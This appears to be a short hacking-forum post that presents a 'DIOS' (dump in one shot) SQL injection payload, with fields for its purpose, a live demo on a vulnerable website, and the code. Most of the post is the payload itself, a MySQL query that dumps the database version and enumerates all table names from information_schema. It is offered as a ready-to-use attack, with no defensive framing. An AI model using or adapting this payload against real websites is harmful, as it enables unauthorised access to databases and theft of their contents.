Example of a DIOS Showin an SQLI injection

Work :- what DIOS do ( DIOS for just Tables with number )
live demo :- link of vul web with the dios so guys who don't know what is dios or how to use can se it in action and lean how to use it

code :- code of the dios example <br><font color=black size=5>Kyfx::::::</font>','<font color=green size=5>',version(),'</font><br>',
( select (@a) from (select (@a:=0x00),(@num:=0),
( select (@a) from (information_schema.tables) where (table_schema=database()) and (@a) in
(
@a:=
concat( @a,'<br>',@num:=(@num%2b1),') ','Tables :-> ',@tbl:=table_name)
) )) a)
)